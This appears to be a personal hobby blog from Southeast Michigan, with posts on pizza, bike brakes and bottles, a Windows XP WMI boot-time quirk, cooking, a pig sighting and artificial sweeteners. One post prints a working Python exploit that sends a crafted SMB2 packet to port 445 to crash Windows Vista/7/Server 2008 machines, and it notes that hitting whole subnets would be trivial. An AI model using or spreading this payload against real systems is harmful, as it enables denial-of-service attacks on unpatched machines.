Making, baking, and (un-)breaking things in Southeast Michigan.
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Here’s last night’s dinner, a Classic from Sorrento Pizza on VanDyke just north of M-59. This is an extra-sauce pizza with pepperoni and a sesame seed crust. The crust itself was good, but a bit dry and bread-like; very much a classic American pizza and exactly what I was expecting.
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Tonight I fitted my bike with a 185mm front rotor (Avid G2 Clean Sweep; upgrade from 160mm), so I set out towards River Bends to try both it and a new (to me) CamelBak Podium bike bottle. For some reason both the paved and dirt paths through River Bends were closed off, leaving me no place to go. I continued on past the closed sign on the paved path for a bit, but just as my light was illuminating some heavy machinery I heard a loud CLUNK come from it, similar to a door latch, so I turned and headed back. I’ll try and remember to call tomorrow and see if I can get some information about the construction.
Being only a few miles into my ride I considered heading up to Stony Creek for some night time single track riding, but as it was getting late (just before 9pm) I instead headed over to downtown Utica, over to Clinton River Park, through the park’s paved path to Clinton River Road, out to Schoenherr, 19 Mile to Hayes, then back home.
During this time it seems that the rotor has begun bedding in and starting to work better. Due to its larger diameter I’ve found that I get an occasional rubbing / chirping sound when turning tight corners. So far it seems that this will work out well, and hopefully it won’t fade as fast during extended bits of downhill stuff, which is a problem I was particularly noticing while riding the North Country Trail (NCT) over Labor Day.
The CamelBak Podium bottle also worked out very well. I’ve been having a problem with HEED, my preferred electrolyte / sugary drink while riding, leaking out of bottles and getting on my frame. Even worse, when on the NCT enough spilled that it dried on the shifter cable guide, sticking the cable in place, and making shifting very difficult.
After reading a bit of Fat Cyclist’s blog I’d found that he particularly liked these bottles, so I’d wanted to give one a try. Due to a series of interesting circumstances I ended up with a barely-used one yesterday while cleaning up the trail, and I decided to take it home, wash it out, and use it. While I only took a short ride on relatively smooth surfaces (save for a few curbs and potholes and hopping random things), I had no problems with leakage. Liquid flowed quite rapidly through it when squeezed, and it fit snugly in my bottle holder. The wider-than-my-other-bottles neck also made pouring in a scoop of powdered HEED very easy. I think I might have to get another one of these.
If you’re interested, here’s a few cycling-related photos from the past week or two:
Leave a Comment· Fern-lined downhill part of the NCT. Riding up this was terribly hard.
· More fern-liked trail along the NCT, this time in a nice stand of trees.
· Inside of the tent where I slept over Labor Day at my grandparents’ house.
· Bob trying to hit me in the golf cart that we had for setting up the Addison Oaks race last Friday.
· Cones, set up to divide the two-way paved path and bridge connecting the single track with the start/finish line.
· A very dirty Rob with a bent-up hand and scraped arm after a fall on one of the very last turns at Addison Oaks during the race.
On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.
Here’s results of this query after a few different scenarios:
Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240
This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.
This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:
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I am currently making a cheating curry, using Trader Joe’s jarred Red Curry Sauce, pre-sliced mushrooms, and an eggplant and three green peppers from the CSA. The rice is basmati, will be cooked Indian-style by boiling like pasta, and should be done in about eight minutes.
Past experience with Trader Joe’s jarred curries makes me believe that this will result in a decent lunch for tomorrow, and a few subsequent days. After this I’ll bake the cookies (dough already made) for a potluck at work tomorrow, and then grill up a chicken sausage for dinner.
Through all this the kitchen shall remain clean. Good food and a nice, clean kitchen. Mmm!
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As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.
import sockethost = "127.0.0.1", 445buff = ("\x00\x00\x00\x90" # Begin SMB header: Session message"\xff\x53\x4d\x42" # Server Component: SMB"\x72\x00\x00\x00" # Negociate Protocol"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe""\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54""\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31""\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00""\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57""\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61""\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c""\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c""\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e""\x30\x30\x32\x00")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(host)s.send(buff)s.close()
UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:
Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.
I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.
UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.
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This morning when pulling up to the post office at 22 Mile and VanDyke I noticed a pig laying in the alley behind the strip mall which Bone Appetite Pet Supplies. A few years ago I saw this same pig, but at that time it was just nosing around in the grass next to a sign saying that the pig is supposed to be there.
UPDATE: Since people have asked, yes, the pig was alive. It was breathing, but appeared to be sleeping. The bowl on the right contained a bit of bright yellow liquid, which I hope was some sort of nutritional supplement or the remains of food. If I’m remembering correctly the other bowl was empty.
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Mexican Coca-Cola, made with cane sugar instead of HFCS, is quite nice when poured into a pint glass over nearly-crushed small cube ice. This is a nice afternoon treat while at work.
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This free shelf here is another reason why one shouldn’t be afraid to take their neighbor’s trash right off the pile. While walking Roxie last night we saw this white shoe organizer sitting in the trash. One of the assembly screws had broken through the top, as if someone had stepped on it.
One new hole, moving the screw, and some wood glue and a clamp to repair the ripped out piece, and it’s quite nice again. Sure, these only cost $10 – $15, but free (and one less in the landfill) is even better. I really like shelves like this, as they are great for organizing small tools on a workbench or desk surface. There’s already one on my basement workbench and another on Danielle’s desk. This one on the garage workbench rounds it out nicely.
Leave a CommentI’ve read a few things hinting that artificial sweeteners such as Aspartame (NutraSweet) and Saccharin cause an insulin response, leading to blood sugar drop and often overeating. While I don’t know enough to say how true it is, these three articles seem to support this:
Effects of artificial sweeteners on insulin release and cationic fluxes in rat pancreatic islets.
[…] Sodium saccharin (1.0-10.0 mM), sodium cyclamate (5.0-10.0 mM), stevioside (1.0 mM) and acesulfame-K (1.0-15.0 mM), all of which display a bitter taste, augmented insulin release from islets incubated in the presence of 7.0 mM D-glucose. In contrast, aspartame (1.0-10.0 mM), which is devoid of bitter taste, failed to affect insulin secretion. […]
A role for sweet taste: Calorie predictive relations in energy regulation by rats.
[…] We found that reducing the correlation between sweet taste and the caloric content of foods using artificial sweeteners in rats resulted in increased caloric intake, increased body weight, and increased adiposity, as well as diminished caloric compensation and blunted thermic responses to sweet-tasting diets. These results suggest that consumption of products containing artificial sweeteners may lead to increased body weight and obesity by interfering with fundamental homeostatic, physiological processes. […]
[…] In these cells, artificial sweeteners such as sucralose, succharin, and acesulfame-K increased insulin secretion and augmented secretion induced by glucose. […]
When I was rather young, eating anything containing NutraSweet would give me a pretty bad headache. While this doesn’t happen any more, I do wonder if it was related.
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With today being the start of a long stretch of great weather, I set out to Stony Creek to watch Tailwind‘s 2009 Stony Creek XC race. Some friends were starting at 1pm, so leaving my house at noon I made quick work (for me) of the ~14.5 trip, arriving just before they started off. This route took me up to 24 Mile and Dequindre, along Parkdale, up to Letica drive, then east along there and Sheldon, into one of Stony Creek’s rear entrances, then around two-track to the trailhead.
Once at the race I mostly hung out with folks, then snapped a few occasional photos of people. I would have headed off into the woods to grab actual photos of people, but since I’d left the memory card at home, I was only able to grab a few frames. These ended up being the following images:
· Bob, getting ready for the 2009 Stony XC Race, while Robert from Tailwind explains some things.
· Bill passing a guy riding Aerospokes while going into his second lap of the 2009 Stony XC Race.
· Bob, crossing the line to start his second lap at the 2009 Stony XC Race.
· Mike, crossing the finish line at the end of the 2009 Stony XC Race.
· Bob, crossing the finish line at the 2009 Stony XC Race.
After the race I headed back home via a slightly different route, heading out the main Stony Creek entrance, up the Macomb Orchard Trail to 24 Mile and Dequindre, then back the normal route home.
End result was just barely over 29 miles in 2:00:06 on an absolutely glorious Sunday.
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